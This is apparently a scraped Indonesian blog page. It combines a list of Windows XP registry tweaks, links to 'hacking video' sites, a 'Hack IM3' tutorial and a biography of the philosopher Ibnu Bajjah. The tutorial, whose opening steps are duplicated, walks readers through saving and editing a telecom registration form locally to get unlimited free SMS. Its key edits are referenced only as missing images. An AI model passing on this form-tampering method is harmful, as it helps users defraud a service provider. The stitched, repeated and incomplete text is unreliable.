Cari value bernama Start_ShowControlPa nel dan klik ganda pada bagian tersebut. Masukkan angka 0 pada Value Data.



(20).Menyembunyikan Menu My Pictures Dari Start Menu
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowMyPics dan masukkan angka 0 pada bagian Value Data.



(21).Memunculkan Menu Administrative Tools
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada StartMenuAdminTools dan berikan angka 1 pada Value Data.



(22).Memperkecil Icon Start Menu
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_LargeMFUIcons dan masukkan angka 1 pada Value Data.



(23).Menghilangkan Username Pada Start Menu
-------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoUserNameInStartMenu. Klik ganda NoUserNameInStartMenu dan masukkan angka 1 pada Value Data.



(24).Mencegah Perubahan Menu Start
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoChangeStartMenu. Klik ganda NoChangeStartMenu dan masukkan angka 1 pada Value Data.



(25).Menyembunyikan My Recent Documents
---------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowRecentDoc s dan masukkan angka 0 pada Value Data.



(26).Mengubah Nama Default Shortcut Penting Di Desktop
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID
Klik ganda pada default value pada masing-masing subkey dibawah ini:
My Network Places:
{208D2C60-3AEA-1069-A2D7-08002B30309D}
My Computer:
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents:
{450D8FBA-AD25-11D0-98A8-0800361B1103}
Recycle Bin:
{645FF040-5081-101B-9F08-00AA002F954E}
Default IE Icon:
{871C5380-42A0-1069-A2EA-08002B30309D}
Masukkan nama-nama unik sebagai pengganti nama defaultnya.



(27).Menyembunyikan Icon Di Desktop
------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada HideIcons dan masukkan angka 1 pada Value Data.



(28).Mengganti Wallpaper
-------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada wallpaper dan masukkan path gambar yang diinginkan pada Value Data.



(29).Membersihkan Semua Icon Pada Desktop
-----------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoDesktop. Klik ganda pada NoDesktop dan masukkan angka 1 pada Value Data.



(30).Membuat Desktop Lebih Stabil
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Buat sebuah DWORD Value baru dan beri nama DesktopProcess. Klik ganda DesktopProcess dan masukkan angka 1 pada Value Data.



(31).Menghapus Daftar Program Dalam Menu Run
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Di jendela sebelah kanan, akan terlihat deretan software-software (ditandai secara alphabet a, b, c, d, dan seterusnya). Untuk menghapusnya, cukup dengan memilih salah satu (atau semua) nama program yang ada dan tekan tombol [Del]. Jika muncul jendela konfirmasi untuk penghapusan data, tekan Yes.



(32).Membersihkan Recent Documents
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRecentDocsHistory. Klik ganda pada NoRecentDocsHistory dan masukkan angka 1 pada bagian Value Data.



(33).Menghilangkan Info Tip Pada Icon Folders Di Desktop
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada FolderContentsInfoT ip dengan angka 0.



(34).Mengunci Taskbar
---------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada TaskBarSizeMove dan masukkan angka 0 pada Value Data.



(35).Menghapus Past Items Icons Pada Taskbar
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
Hapus IconStreams dan PastIconsStream, kemudian buka Task Manager, pada Tab Processes klik kanan pada explorer.exe dan pilih End Process. Klik menu File > New Task (Run) dan ketikan kembali explorer dan tekan OK.



(36).Menyembunyikan System Tray
---------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Jika key Explorer belum ada buatlah sebuah DWORD Value baru dan beri nama NoTrayItemsDisplay. Klik ganda NoTrayItemsDisplay dan masukkan angka 1 pada Value Data. Untuk mengembalikan System Tray masukkan angka 0 pada Value Data.



(37).Menonaktifkan Klik-kanan Pada Desktop
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoViewContextMenu. Klik ganda pada NoViewContextMenu dan masukkan angka 1 pada Value Data.



(38).Mengubah Waktu Delay Ketika Membuka Menu
---------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada MenuShowDelay dan ubah angka milidetik yang semula 400 menjadi angka lain. Semakin kecil semakin cepat.



(39).Mengatur Ukuran Icon Di Desktop Dan Start Menu
---------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada Shell Icon Size dan ubah angka 32 menjadi angka lainnya, misalnya 10.



(40).Mengganti Warna Windows
----------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda Window dan masukkan kombinasi warna RGB (gunakan Adobe PhotoShop untuk menemukan kombinasi warna yang sesuai).



(41).Mengganti Warna Teks Dalam Windows
---------------------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda WindowText dan masukkan kombinasi warna RGB.



(42).Menghilangkan Tab Screen Saver
-----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
Buat sebuah DWORD Value baru dan beri nama NoDispScrSavPage. Klik ganda NoDispScrSavPage dan masukkan angka 1 pada Value Data.



(43).Mengganti Screen Saver Lewat Registry
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda SCRNSAVE.EXE kemudian masukkan path tempat file Screen Saver yang diinginkan. Misalnya: C:\WINDOWS\ScreenSaver.scr



(44).Menonaktifkan Default Screen Saver
---------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda ScreenSaveActive dan masukkan angka 0 pada Value Data. Untuk mengembalikannya masukkan angka 1 pada Value Data.



(45).Menghilangkan Tanda Anak Panah Pada Icon Shortcut
------------------------------------------------------
HKEY_CLASSES_ROOT\Inkfile
HKEY_CLASSES_ROOT\piffile
Ubah nama IsShortcut menjadi IsShortcuts.



(46).Mengubah Style Wallpaper
-----------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada WallpaperStyle dan masukkan angka sebagai berikut di Value Data:
1 > Center
2 > Stretch
3 > Tile



(47).Menonaktifkan Peringatan Low Disk Space
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru dan beri nama NoLowDiskSpaceChecks. Klik ganda NoLowDiskSpaceChecks dan masukkan angka 1 pada Value Data.



(48).Menonaktifkan Menu Properties My Computer
----------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data. Jika key Explorer tidak ada, buat yang baru dengan mengklik menu Edit > New > Key dan beri nama Explorer.


(49).Mengubah Ukuran CoolSwitch
-------------------------------
(Coba Tekan Alt+Tab, itulah yang disebut dengan CoolSwitch)
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik CoolSwitchColumns dan aturlah seberapa panjang CoolSwitch ini akan ditampilkan dengan memasukkan angka yang diinginkan pada Value Data. Kemudian klik CoolSwitchRows dan lakukan hal yang serupa.



(50).Menonaktifkan Fungsi CoolSwitch
------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda pada CoolSwitch dan masukkan angka 0.



(51).Menonaktifkan Animasi Pada Windows XP
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada MinAnimate dan masukkan angka 1 untuk menonaktifkan, dan 0 untuk mengaktifkannya kembali.



(52).Mengubah Tombol Kiri Menjadi Tombol Kanan Pada Mouse
---------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Mouse
Klik ganda pada SwapMouseButtons dan beri angka 1 pada Value Data.



(53).Mengubah Gulungan Baris Pada Scroll Mouse
----------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda WheelScrollLines masukkan angka yang diinginkan (sesuai dengan baris yang hendak digulung) pada Value Data.



(54).Menyembunyikan System Properties Pada Control Panel
--------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\don't load
Buatlah sebuah String Value baru dan beri nama sysdm.cpl. Klik ganda sysdm.cpl dan masukkan input Yes pada bagian Value Data.



(55).Menonaktifkan Display Properties
-------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pada bagian subkey Policies, buat sebuah key baru dengan cara Edit > New > Key dan beri nama System. Kemudian di subkey System, buatlah sebuah DWORD Value baru dan beri nama NoDispCPL. Klik ganda NoDispCPL dan masukkan angka 1 pada Value Data.



(56).Mengatur Kecepatan Repeat Rate Keyboard
--------------------------------------------
HKEY_CURRENT_USER\Control Panel\Keyboard
Klik ganda KeyboardSpeed dan masukkan nilai yang diinginkan. Semakin tinggi angkanya, semakin cepat pula Repeat Rate-nya.



(57).Teks Bergaris Bawah Pada Notepad
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda lfUnderline dan masukkan angka 1 pada Value Data.



(58).Mode Word Wrap Pada Notepad
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda fWrap dan masukkan angka 1 pada Value Data.



(59).Status Bar Pada Notepad
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda StatusBar dan masukkan angka 1 pada Value Data.



(60).DVD Di Windows Media Player
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings
Pilih menu Edit > New > String Value dan beri nama DVDUI. Klik ganda DVDUI dan masukkan teks Yes pada Value Data.



(61).Menambah Identitas Windows Media Player
--------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
Klik Edit > New > Key dan beri nama WindowsMediaPlayer. Klik Edit > New > String Value dan beri nama TitleBar. Klik ganda TitleBar dan masukkan teks yang diinginkan pada Value Data.



(62).Mengubah Tombol Stop Menjadi Tombol Play Pada Windows Media Player
-----------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\MediaPlayer\Objects\StopButton
Klik ganda onclick dan masukkan teks player.controls. play() pada Value Data.



(63).Memilih Pemutar CD Audio Default
-------------------------------------
HKEY_CLASSES_ROOT\AudioCD\Shell\Play\Command
Klik ganda (Default) dan masukkan path software yang anda inginkan sebagai pemutar CD Audio secara default. Misalnya: C:\Program Files\Windows Media Player\wmplayer.exe



(64).Mengembalikan Akses Ke CD-ROM
----------------------------------
Setelah menguninstall sebuah program pembakar CD, adakalanya CD-ROM tidak bisa lagi diakses. Lakukan hal berikut untuk menormalkannya. Pergilah ke lokasi berikut:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
Hapus subkey LowerFilters dan UpperFilters dengan menekan tombol Del.



(65).Memperkecil Ukuran Thumbnail Untuk Windows Explorer
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Binary Value dan beri nama ThumbnailSize. Klik ganda ThumbnailSize dan masukkan angka 20 pada Value Data.



(66).Membuat Shortcut Menu Pribadi Di Windows Explorer
------------------------------------------------------
HKEY_CLASSES_ROOT\Drive\Shell
Pilih Edit > New > Key dan beri nama Winamp sebagai contohnya. Klik ganda option (Default) disisi kanan registry editor dan masukkan teks Winamp. Klik subkey Winamp dan pilih menu Edit > New > Key dan beri nama Command. Klik ganda option (Default) dan masukkan path C:\Program Files\Winamp\Winamp.exe pada Value Data.



(67).Enkripsi Melalui Menu Konteks
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Buat sebuah DWORD Value baru dan beri nama EncryptionContextMenu. Klik ganda EncryptionContextMenu dan masukkan angka 1 pada Value Data.



(68).Mengganti Icon Pada Drives
-------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Jika belum ada, pilih Edit > New > Key dan beri nama sesuai dengan drive yang diinginkan [Misalnya: C untuk drive C:]. Pada value tersebut, buat sebuah Key baru lagi dan beri nama DefaultIcon. Klik ganda option (Default) dan masukkan path tempat Icon berada. Misalnya: D:\yeppy\iconku.ico



(69).Menyembunyikan Drive
-------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoDrives. Klik ganda NoDrives dan tentukan drive mana yang ingin dihilangkan pada Value Data. Misalnya: jika ingin menghilangkan drive E:, masukkan angka 16 pada Value Data. Kombinasi angka pada Value Data adalah sebagai berikut:
A: > 1
B: > 2
C: > 4
D: > 8
E: > 16
F: > 32
G: > 64
H: > 128
I: > 256
J: > 512
K: > 1024
L: > 2048
M: > 4096
Semua: > 67108863



(70).Membuat Tip Of The Day Windows Explorer
--------------------------------------------
Untuk mengaktifkannya buka Windows Explorer kemudian pilih menu View > Explorer Bar > Tip of the Day.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
Di jendela sebelah kanan akan terlihat deretan tip-tip yang tersimpan dalam value 0-49. Dua hal yang bisa dilakukan adalah mengganti tip-tip yang dengan klik ganda masing-masing value dengan teks yang diinginkan. Kedua adalah menambah tip-tip baru dimulai dengan urutan setelah value 49 (misalnya 50 dst.). Pilih Edit > New > String Value dan beri nama berbentuk angka yang melanjutkan angka terakhir pada tip (misalnya 50 dst.).Klik ganda pada value yang baru tersebut dan isikan dengan teks yang diinginkan pada Value Data.



(71).Menyembunyikan Advanced Settings Pada Folder Options Windows Explorer
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
Dibawah key Explorer akan ditemukan subkey bernama Advanced. Klik kanan dan pilih Rename. Ubah nama Advanced menjadi Advancedx.



(72).Kode Curang Bermain Game Hearts
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets
Klik menu Edit > New > Key dan beri nama Hearts. Klik menu Edit > New > String Value dan beri nama ZB dan isikan angka 42 pada Value Data. Buka game Hearts pada Start Menu > All Programs > Games. Setelah memasukkan nama pemain, tekan kombinasi tombol berikut: Ctrl+Shift+Alt+ F12 dan semua kartu akan terbuka.



(73).Membersihkan Sampah Registry
---------------------------------
HKEY_CLASSES_ROOT\Application
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\SOFTWARE
Pilih salah satu subkey yang merupakan nama software yang ingin dihapus, kemudian tekan tombol Del.



(74).Membersihkan Sampah Uninstall
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang memiliki nama yang sama dengan software yang telah di-uninstall.



(75).Menghapus Daftar Program Yang Tidak Diinginkan Dari Add/Remove Programs
----------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang berisikan program yang tidak diinginkan dengan menekan tombol Del.



(76).Menjalankan Program Saat StartUp
-------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Pilih menu Edit > New > String Value dengan nama Winamp misalnya. Klik ganda pada value tersebut dan masukkan path tempat program tersebut terinstall (C:\Program Files\Winamp\Winamp.exe).



(77).Menghapus StartUp Items Di MSCONFIG
----------------------------------------
Klik Start > Run > ketik msconfig, kemudian klik pada tab startup, hilangkan tanda centang pada program yang ingin dihapus dari daftar startup.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Hapus subkey yang berisikan program-program yang tidak diinginkan dengan menekan tombol Del.



(78).Mempercepat Proses Shutdown Windows XP
-------------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
Klik ganda WaitToKillServiceTi meout dan ubah nilainya menjadi lebih rendah dari 2000.



(79).Menyembunyikan Device Manager
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pilih menu Edit > New > Key dan beri nama System. Di subkey System buatlah sebuah DWORD Value baru dan beri nama NoDevMgrPage. Klik ganda NoDevMgrPage dan masukkan angka 1 pada Value Data.



(80).Menonaktifkan Fungsi AutoRun
---------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik ganda NoDriveTypeAutoRun dan masukkan angka 95 pada Value Data.



(81).Mematikan Secara Otomatis Program Not Responding
-----------------------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda AutoEndTasks dan masukkan angka 1 pada Value Data.



(82).Memunculkan Option My Computer Yang Tersembunyi
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
Klik ganda Flags kemudian ganti menjadi Decimal dan masukkan angka 1 pada Value Data.



(83).Menonaktifkan Fungsi New Window Di Internet Explorer
---------------------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
Buat sebuah DWORD Value baru dan beri nama NoOpeninNewWnd. Klik ganda NoOpeninNewWnd dan masukkan 1 pada Value Data.



(84).Mengganti Background Toolbar Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
Pilih menu Edit > New > String Value dan beri nama BackBitmap. Klik ganda BackBitmap dan isikan dengan path tempat gambar bitmap (.bmp) yang akan menjadi background toolbar berada pada Value Data. Misalnya: C:\WINDOWS\Wallpaper.bmp



(85).Mengganti Versi Internet Explorer
--------------------------------------
Untuk mengetahui versi Internet Explorer yang dimiliki: Help > About Internet Explorer pada browser Internet Explorer.
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer
Klik ganda Version dan masukkan angka yang diinginkan pada Value Data.



(86).Mengecek ProductID Internet Explorer
-----------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration
Lihat ProductID pada key ProductId, pada value tersebut akan tercatat berapa ProductID Internet Explorer yang digunakan.



(87).Mode Full Screen Pada Internet Explorer
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Klik ganda FullScreen dan masukkan teks Yes pada Value Data.



(88).Mengganti Title Internet Explorer
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama Window Title. Klik ganda Window Title dan masukkan teks yang diinginkan pada Value Data.



(89).Membersihkan Daftar URL Pada Internet Explorer
---------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
Hapus value url1, url2 dan seterusnya dengan menekan tombol Del.



(90).Menyembunyikan Tombol Go Pada Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama ShowGoButton. Klik ganda ShowGoButton dan masukkan angka 0 pada Value Data.



(91).Mengganti Nama Icon Internet Explorer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
Klik ganda pada value (Default) disamping kanan, masukkan teks yang diinginkan pada Value Data.



(92).Menambahkan Domain .Gov Pada Pencarian Website
----------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\UrlTemplate
Pilih Edit > New > String Value dan beri nama dengan angka yang
merupakan kelanjutan dari angka-angka yang sudah ada.
Klik ganda pada value tersebut dan ketik %s.gov pada Value Data.



(93).Tweaking Memory Pada Windows XP
------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
Klik ganda pada DisablePagingExecutive dan masukkan angka 1 pada Value Data.
Apabila diaktifkan,Windows tidak akan melakukan paging file ke dalam hard disk.
Sistem operasi dan program-program menjadi lebih responsif. Disarankan untuk komputer yang memiliki memori lebih dari 128MB. Klik ganda pada LargeSystemCache dan masukkan angka 1 pada Value Data. Jika diaktifkan, sistem akan mengalokasikan seluruh memori (kecuali 4 MB untuk disk caching) untuk file caching. Komputer akan melakukan caching kernel XP di dalam memory sehingga Windows XP dapat berjalan lebih cepat.



(94).Unload .dll Untuk Mempercepat Akses Memori
-----------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Key dan beri nama AlwaysUnloadDLL. Pada option Default Value masukkan angka 1.



(95).Menghapus Pagefile Saat Shut Down
--------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Session Manager\Memory Management

Klik ganda ClearPageFileAtShut down dan masukkan angka 1 pada Value Data.



(96).Memindahkan Pagefile
-------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

Klik ganda PagingFiles kemudian ganti path ke lokasi baru yang diinginkan. Misalnya: D:\pagefile.sys 1024 1024



(97).Menyembunyikan Help And Support
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru -Menu Edit > New > DWORD Value, dan beri nama NoSMHelp. Kemudian klik ganda pada NoSMHelp dan isi dengan angka 1 pada Value Data. Restart komputer.


Selanjutnya »»

Video Hacking

silahkan ke www.davn7.tk
http://www.freewebtown.com/davn7/video.html
ato pun
http://davn7.prophp.org/Video/video.html

mudah2an membantu




Selanjutnya »»

Pingin punya sms unlimited dengan nomor sendiri.

Langkah 1:
Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )

Langkah 2:
Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…

Langkah 3:
Buka lah http://www.m3-access.com


Pingin punya sms unlimited dengan nomor sendiri.

Langkah 1:
Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )

Langkah 2:
Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…

Langkah 3:
Buka lah http://www.m3-access.com

Langkah 4:
Masuk form registration
Bagi yg sudah daftar jgn bawel ye…ini buat yg belom daftar!…

Langkah 5:

Lihat gambar di bawah ini…


Selanjutnya »»

Hack IM3

Pingin punya sms unlimited dengan nomor sendiri.

Langkah 1:
Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )

Langkah 2:
Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…

Langkah 3:
Buka lah http://www.m3-access.com


Pingin punya sms unlimited dengan nomor sendiri.

Langkah 1:
Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )

Langkah 2:
Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…

Langkah 3:
Buka lah http://www.m3-access.com

Langkah 4:
Masuk form registration
Bagi yg sudah daftar jgn bawel ye…ini buat yg belom daftar!…

Langkah 5:

Bingung????
Apakah cara ini hanya untuk penguna Im3??
Oh tentu tidak kan ada combantrin…eh maksud saya cara lain hehehehe…

Langkah 6:
Save page registration tersebut ke mana saja ( klo saya recommended ke desktop aja biar enak)

Langkah 7:
Open page yg sudah di save tadi dengan ( open with notepad )

Langkah 8:
Saat nya edit meng edit…
Coba temukan Tulisan , seperti gambar di bawah ini ( yg saya lingkari )




Udah ketemu????
Bagusssssssssss…….

Lalu lanjutkan dengan menambahin/mengedit form tersebut seperti gambar di bawah ini


Lihat gambar di bawah ini…


Lalu boleh anda save dan coba lihat page editan tersebut
Klo anda bener nyettingnya Pasti gambar nya kek gini


Langkah 9:
Saatnya mengubah action dr page editan tadi!
Oke buka lage page editan yg sudah anda save!
Jgn lupa open with notepad ye…



Langsung aja edit nga pake lama…

Langkah 10:

Buka http://m3-access.com/account/register.php
dan copy keycode dengan cara ,copy image location seperti gambar di bawah ini



Lalu buka/Kembali ke page yg di buka dengan notepad…
Dan temukan script seperti gambar di bawah ini!

Dan ubahlah yg saya tulisan yg saya lingkari dengan cara Paste Seperti gambar di bawah ini!

Lalu save dan jalankan page yg sudah di edit tadi dengan browser apa saja!
Mau mozila kek mau IE mau apa kek terserah!…
Lalu akan muncul form registration yg telah kita edit tadi!dan ikuti saja langkah langkah selanjutnya!

ANDA berhasil jika setelah submit QUERY anda mendapatkan pesan bertuliskan…

PASSKEY akan dikirim dalam waktu paling lama 2 x 24 jam
Congratulations anda bisa ikuti langkah2 selanjutnya dan segera ke form sms untuk sms sepuasnya!…

Jika anda tidak mendapatkan pesan tersebut!berarti anda gagal…

Semoga Berguna…

>> Scripts nya ada di Source code / Scripts…

Selanjutnya »»

Kamis, 04 September 2008

Ibnu Bajjah : Cendekiawan Muslim Teragung

Umat Islam telah sampai ke tanah Spanyol (Andalusia) semenjak zaman sahabat Rasul. Kedatangan mereka telah berhasil mempengaruhi kehidupan masyarakat di sana khususnya dalam bidang keilmuan. Sepanjang pemerintahan Islam di Spanyol, telah lahir sejumlah cendikiawan dan sarjana dalam pelbagai bidang ilmu. Sebagian mereka ialah ahli sains, matematika, astronomi, perobatan, filsafat, sastera, dan sebagainya.Abu Bakr Muhammad Ibn Yahya al-Saigh atau lebih terkenal sebagai Ibnu Bajjah adalah salah seorang diantara para cendekiawan Muslim tersebut. Terlahir di Saragossa tahun 1082 M, Ibnu Bajjah merupakan seorang sastrawan dan ahli bahasa yang unggul. Ia pernah menjadi penyair bagi golongan al-Murabbitin yang dipimpin oleh Abu Bakr Ibrahim Ibn Tafalwit.




Selain itu, Ibnu Bajjah juga ahli di bidang musik dan pemain gambus yang handal. Ia juga seorang yang hafal Alquran. Dalam waktu yang sama, Ibnu Bajjah amat terkenal dalam bidang perobatan dan merupakan salah seorang dokter terkenal yang pernah dilahirkan di Andalusia.

Kehebatannya pun turut terlihat dalam bidang politik sehingga ia dilantik menjadi menteri semasa Abu Bakr Ibrahim berkuasa di Saragossa. Lebih menakjubkan lagi beliau dapat menguasai ilmu matematika, fisika, dan falak. Pada kesempatan itu beliau banyak menulis buku yang berkaitan dengan ilmu logika. Kemampuannya menguasai berbagai ilmu itu menjadikannya seorang sarjana teragung bahkan tiada bandingan di Andalusia dan barangkali di dunia Islam. Sumbangannya dalam bidang keilmuan begitu besar.

Dalam bidang filsafat umpamanya, kemampuan Ibnu Bajjah setara dengan al-Farabi ataupun Aristoteles. Dalam bidang ini ia mengemukakan gagasan filsafat ketuhanan yang menetapkan manusia boleh berhubungan dengan akal fa'al melalui perantaraan ilmu pengetahuan dan pembangunan potensi manusia.

Menurut Ibnu Bajjah, manusia boleh mendekati Tuhan melalui amalan berfikir dan tidak semestinya melalui amalan tasawuf yang dikemukakan oleh Iman al-Ghazali. Dengan ilmu dan amalan berfikir, segala keutamaan dan perbuatan moral dapat diarahkan untuk memimpin serta menguasai jiwa. Usaha ini dapat menumpas sifat hewaniah yang bersarang dalam hati dan diri manusia.

Berdasarkan pendapatnya, seseorang harus mengupayakan perjuangannya untuk berhubung dengan alam bersama-sama dengan masyarakatnya ataupun secara terpisah. Kalau masyarakat itu tidak baik maka seseorang itu harus menyepi dan menyendiri.

Pandangan filsafat Ibnu Bajjah ini jelas dipengaruhi oleh ide-ide al-Farabi. Pemikiran filsafatnya ini dapat diikuti dalam Risalah al-Wida dan kitab Tadbir al-Muttawwahid yang secara umum merupakan pembelaan kepada karya-karya al-Farabi dan Ibn Sina kecuali bagian yang berkenaan dengan sistem menyepi dan menyendiri.

Namun, ada sebagian pemikir mengatakan bahwa kitab tersebut sama dengan buku al-Madinah al'Fadhilah yang ditulis al-Farabi. Dalam buku itu, al-Farabi menjelaskan pandangan beliau mengenai politik dan falsafah. Semasa membicarakan tentang politik, al-Farabi telah mencadangkan supaya sebuah negara kebajikan yang diketuai oleh ahli filsafat diwujudkan.

